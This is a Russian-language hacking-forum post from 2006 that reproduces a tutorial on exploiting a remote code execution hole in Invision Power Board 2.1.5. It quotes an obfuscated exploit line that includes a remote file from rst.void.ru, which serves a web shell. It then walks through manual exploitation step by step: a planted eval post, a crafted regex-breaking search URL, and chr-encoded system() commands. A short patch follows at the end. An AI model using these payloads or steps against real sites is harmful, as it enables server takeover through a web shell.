ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #23  
Старый 02.05.2006, 22:58
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Статейка в тему, думаю полезно будет...

Код:
Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)

    $text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).
    chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
    chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)’.
    ‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).
    chr(120).chr(116))); //’;

Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:

    <?
    /*
    r57ipbce exploit include file
    */
    passthru($_GET[’eharniy_ekibastos’]);
    ?>

То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:

    eval(phpinfo()); //

Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:

    &lastdate=z|eval.*?%20//)%23e%00

Адресная строка браузера должна иметь приблизительно такой вид:

    http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00

Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.

Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:

    this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Которое заменяем на:

    $this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.

P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
© not null | Security Bunker Team
__________________
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Форумы 19 18.11.2006 09:19
Множественные уязвимости в INVISION POWER BOARD 2.1.x GreenBear Уязвимости 6 02.03.2006 21:36
Эксплоит для Invision Power Board v2.1.3? xdx Форумы 8 08.02.2006 22:56
Invision Power Board <= 1.3.1 Login.PHP SQL Injection Как пользоваться? GrisS Форумы 16 02.02.2006 16:00
Вопрос про заливку шелла в Invision Power Board DiNo Форумы 14 03.03.2005 13:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ